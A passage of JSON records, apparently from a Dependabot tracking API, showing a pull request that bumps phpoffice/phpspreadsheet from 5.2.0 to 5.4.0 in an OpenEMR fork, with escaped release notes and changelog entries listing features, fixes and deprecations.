yourself)\n\n\n\u003c/details\u003e","html_url":"https://github.com/azkuang/openemr/pull/9","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/azkuang%2Fopenemr/issues/9","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/9/packages"},{"uuid":"3824231488","node_id":"PR_kwDOQcBhfc69u-5w","number":25,"state":"open","title":"Bump phpoffice/phpspreadsheet from 5.2.0 to 5.4.0","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-01-17T02:03:32.000Z","updated_at":"2026-01-17T02:03:33.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"5.2.0","new_version":"5.4.0","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 5.2.0 to 5.4.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.4.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eStore image in cell (Xlsx only). [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003e#4014\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003ePHPOffice/PhpSpreadsheet#4014\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003e#4034\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003ePHPOffice/PhpSpreadsheet#4034\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003e#913\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003ePHPOffice/PhpSpreadsheet#913\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4677\"\u003e#4677\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4677\"\u003ePHPOffice/PhpSpreadsheet#4677\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePassthrough support (with some restrictions) for otherwise unsupported drawing elements. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003e#4037\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003ePHPOffice/PhpSpreadsheet#4037\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003e#4704\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003ePHPOffice/PhpSpreadsheet#4704\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4712\"\u003e#4712\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4712\"\u003ePHPOffice/PhpSpreadsheet#4712\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSet all locale variables at once in a threadsafe manner. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003e#954\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003ePHPOffice/PhpSpreadsheet#954\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4760\"\u003e#4760\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4760\"\u003ePHPOffice/PhpSpreadsheet#4760\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader/Html add ability to suppress warning messages from loadhtml. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003e#647\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003ePHPOffice/PhpSpreadsheet#647\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003e#849\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003ePHPOffice/PhpSpreadsheet#849\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4761\"\u003e#4761\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4761\"\u003ePHPOffice/PhpSpreadsheet#4761\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCode to merge cell base style with table and conditional styles moved from Html Writer to its own class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003e#1058\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003ePHPOffice/PhpSpreadsheet#1058\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4763\"\u003e#4763\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4763\"\u003ePHPOffice/PhpSpreadsheet#4763\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003cli\u003eReader/Html protected property dataArray, described as used only for testing, is not used for testing. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSlightly better support for escaped characters in Xlsx Reader/Writer. [Discussion \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4724\"\u003e#4724\u003c/a\u003e](\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\"\u003ehttps://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4726\"\u003e#4726\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4726\"\u003ePHPOffice/PhpSpreadsheet#4726\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCODE/UNICODE and CHAR/UNICHAR. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4727\"\u003e#4727\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4727\"\u003ePHPOffice/PhpSpreadsheet#4727\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMinor changes to TextGrid. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4735\"\u003e#4735\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4735\"\u003ePHPOffice/PhpSpreadsheet#4735\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSingle-character table names. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003e#4739\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003ePHPOffice/PhpSpreadsheet#4739\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4740\"\u003e#4740\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4740\"\u003ePHPOffice/PhpSpreadsheet#4740\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImprovements to SORT and SORTBY. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCoverage-related changes in Shared. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4745\"\u003e#4745\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4745\"\u003ePHPOffice/PhpSpreadsheet#4745\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eListWorksheetInfo improvements for Xlsx and Ods. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003e#3255\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003ePHPOffice/PhpSpreadsheet#3255\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4746\"\u003e#4746\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4746\"\u003ePHPOffice/PhpSpreadsheet#4746\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix functions related to Student-T distribution. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003e#4167\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003ePHPOffice/PhpSpreadsheet#4167\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4748\"\u003e#4748\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4748\"\u003ePHPOffice/PhpSpreadsheet#4748\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix drawing hyperlinks. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003e#993\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/993\"\u003ePHPOffice/PhpSpreadsheet#993\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4764\"\u003e#4764\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4764\"\u003ePHPOffice/PhpSpreadsheet#4764\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix clone spreadsheet with defined names. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4753\"\u003e#4753\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4753\"\u003ePHPOffice/PhpSpreadsheet#4753\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChanges to WEBSERVICE. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMore consistent handling of unsupported functions. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003e#606\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/606\"\u003ePHPOffice/PhpSpreadsheet#606\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4772\"\u003e#4772\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4772\"\u003ePHPOffice/PhpSpreadsheet#4772\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChart shadow \u003ccode\u003ekx\u003c/code\u003e and \u003ccode\u003eky\u003c/code\u003e. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4770\"\u003e#4770\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4770\"\u003ePHPOffice/PhpSpreadsheet#4770\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSUBTOTAL and hidden rows. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003e#820\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/820\"\u003ePHPOffice/PhpSpreadsheet#820\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4765\"\u003e#4765\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4765\"\u003ePHPOffice/PhpSpreadsheet#4765\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix some hyperlink problems. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003e#3889\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3889\"\u003ePHPOffice/PhpSpreadsheet#3889\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003e#2464\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/2464\"\u003ePHPOffice/PhpSpreadsheet#2464\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4771\"\u003e#4771\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4771\"\u003ePHPOffice/PhpSpreadsheet#4771\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eXls Writer and empty RichText. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003e#918\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/918\"\u003ePHPOffice/PhpSpreadsheet#918\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4769\"\u003e#4769\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4769\"\u003ePHPOffice/PhpSpreadsheet#4769\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStrings that look like huge floating-point numbers. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003e#4766\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4766\"\u003ePHPOffice/PhpSpreadsheet#4766\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4768\"\u003e#4768\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4768\"\u003ePHPOffice/PhpSpreadsheet#4768\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRowspan in Html. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003e#1319\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1319\"\u003ePHPOffice/PhpSpreadsheet#1319\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4767\"\u003e#4767\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4767\"\u003ePHPOffice/PhpSpreadsheet#4767\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMpdf styling of multi-line strings. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003e#4773\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4773\"\u003ePHPOffice/PhpSpreadsheet#4773\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4775\"\u003e#4775\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4775\"\u003ePHPOffice/PhpSpreadsheet#4775\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e5.3.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFormal support for Php8.5.\u003c/li\u003e\n\u003cli\u003eLimited Printarea support for Html/Pdf. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3941\"\u003e#3941\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3941\"\u003ePHPOffice/PhpSpreadsheet#3941\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4711\"\u003e#4711\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4711\"\u003ePHPOffice/PhpSpreadsheet#4711\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImplement missing \u003ccode\u003eINFO\u003c/code\u003e function. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4709\"\u003e#4709\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4709\"\u003ePHPOffice/PhpSpreadsheet#4709\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImplement missing \u003ccode\u003eBAHTTEXT\u003c/code\u003e function. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4715\"\u003e#4715\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4715\"\u003ePHPOffice/PhpSpreadsheet#4715\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/master/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-01-10 - 5.4.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eStore image in cell (Xlsx only). [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003e#4014\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4014\"\u003ePHPOffice/PhpSpreadsheet#4014\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003e#4034\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4034\"\u003ePHPOffice/PhpSpreadsheet#4034\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003e#913\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/913\"\u003ePHPOffice/PhpSpreadsheet#913\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4677\"\u003e#4677\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4677\"\u003ePHPOffice/PhpSpreadsheet#4677\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ePassthrough support (with some restrictions) for otherwise unsupported drawing elements. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003e#4037\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4037\"\u003ePHPOffice/PhpSpreadsheet#4037\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003e#4704\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4704\"\u003ePHPOffice/PhpSpreadsheet#4704\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4712\"\u003e#4712\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4712\"\u003ePHPOffice/PhpSpreadsheet#4712\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSet all locale variables at once in a threadsafe manner. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003e#954\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/954\"\u003ePHPOffice/PhpSpreadsheet#954\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4760\"\u003e#4760\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4760\"\u003ePHPOffice/PhpSpreadsheet#4760\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReader/Html add ability to suppress warning messages from loadhtml. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003e#647\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/647\"\u003ePHPOffice/PhpSpreadsheet#647\u003c/a\u003e) [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003e#849\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/849\"\u003ePHPOffice/PhpSpreadsheet#849\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4761\"\u003e#4761\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4761\"\u003ePHPOffice/PhpSpreadsheet#4761\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eMoved\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCode to merge cell base style with table and conditional styles moved from Html Writer to its own class. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003e#1058\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1058\"\u003ePHPOffice/PhpSpreadsheet#1058\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4763\"\u003e#4763\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4763\"\u003ePHPOffice/PhpSpreadsheet#4763\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003cli\u003eReader/Html protected property dataArray, described as used only for testing, is not used for testing. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSlightly better support for escaped characters in Xlsx Reader/Writer. [Discussion \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4724\"\u003e#4724\u003c/a\u003e](\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\"\u003ehttps://github.com/PHPOffice/PhpSpreadsheet/discussions/4724\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4726\"\u003e#4726\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4726\"\u003ePHPOffice/PhpSpreadsheet#4726\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCODE/UNICODE and CHAR/UNICHAR. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4727\"\u003e#4727\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4727\"\u003ePHPOffice/PhpSpreadsheet#4727\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMinor changes to TextGrid. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4735\"\u003e#4735\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4735\"\u003ePHPOffice/PhpSpreadsheet#4735\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSingle-character table names. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003e#4739\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4739\"\u003ePHPOffice/PhpSpreadsheet#4739\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4740\"\u003e#4740\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4740\"\u003ePHPOffice/PhpSpreadsheet#4740\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImprovements to SORT and SORTBY. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4743\"\u003e#4743\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4743\"\u003ePHPOffice/PhpSpreadsheet#4743\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCoverage-related changes in Shared. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4745\"\u003e#4745\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4745\"\u003ePHPOffice/PhpSpreadsheet#4745\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eListWorksheetInfo improvements for Xlsx and Ods. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003e#3255\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/3255\"\u003ePHPOffice/PhpSpreadsheet#3255\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4746\"\u003e#4746\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4746\"\u003ePHPOffice/PhpSpreadsheet#4746\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix functions related to Student-T distribution. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4167\"\u003e#4167\u003c/a\u003e](\u003ca 